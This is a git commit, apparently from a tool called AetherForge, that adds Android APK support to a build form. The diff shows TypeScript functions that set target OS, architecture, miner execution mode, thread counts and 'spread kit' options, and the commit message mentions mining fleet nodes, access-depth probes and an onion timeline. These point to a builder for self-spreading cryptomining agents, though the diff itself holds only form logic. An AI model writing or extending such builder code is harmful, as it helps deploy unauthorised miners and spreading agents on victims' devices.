Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
AetherForge
2026-06-07 02:44:29 -07:00
parent d9f36f182c
commit 50ebfe53cb
89 changed files with 2849 additions and 82 deletions

View File

@@ -37,6 +37,7 @@ const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
];
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
if (form.apk_mode) return 'single';
if (form.spread_kit) return 'spread_kit';
if (form.fusion_enabled) return 'fusion';
return 'single';
@@ -87,6 +88,7 @@ export function spreadKitPreset(): Partial<BuildRequest> {
export function installBaseOptionsForTarget(targetOs?: string): InstallBaseOption[] {
const t = targetOs || 'windows';
if (t === 'android') return UNIX_INSTALL_BASES;
if (t === 'linux' || t === 'darwin') return UNIX_INSTALL_BASES;
if (t === 'universal') return UNIVERSAL_INSTALL_BASES;
return WINDOWS_INSTALL_BASES;
@@ -100,10 +102,29 @@ function isSingleUnixTarget(targetOs?: string): boolean {
return targetOs === 'linux' || targetOs === 'darwin';
}
function isAndroidTarget(targetOs?: string, apkMode?: boolean): boolean {
return !!apkMode || targetOs === 'android';
}
/** Coerce form so inactive fields hold safe defaults and incompatible values are cleared. */
export function normalizeForgeForm(form: BuildRequest): BuildRequest {
const next: BuildRequest = { ...form };
if (next.apk_mode) {
next.fusion_enabled = false;
next.spread_kit = false;
next.target_os = 'android';
next.target_arch = 'arm64';
next.mining_disabled = true;
next.gpu_enabled = false;
next.miner_execution = 'inprocess';
next.threads = 1;
next.thread_mode = 'fixed';
if (!next.apk_agent_name?.trim()) {
next.apk_agent_name = next.worker_name;
}
}
// Deliverable coupling — spread kit wins if both flags were somehow set
if (next.spread_kit) {
next.fusion_enabled = false;
@@ -123,8 +144,17 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
next.spread_kit = false;
}
if (isAndroidTarget(next.target_os, next.apk_mode)) {
next.target_os = 'android';
next.target_arch = 'arm64';
next.fusion_enabled = false;
next.spread_kit = false;
}
// Architecture
if (isSingleUnixTarget(next.target_os)) {
if (isAndroidTarget(next.target_os, next.apk_mode)) {
next.target_arch = 'arm64';
} else if (isSingleUnixTarget(next.target_os)) {
if (!next.target_arch || next.target_arch === 'all') {
next.target_arch = next.target_os === 'darwin' ? 'arm64' : 'amd64';
}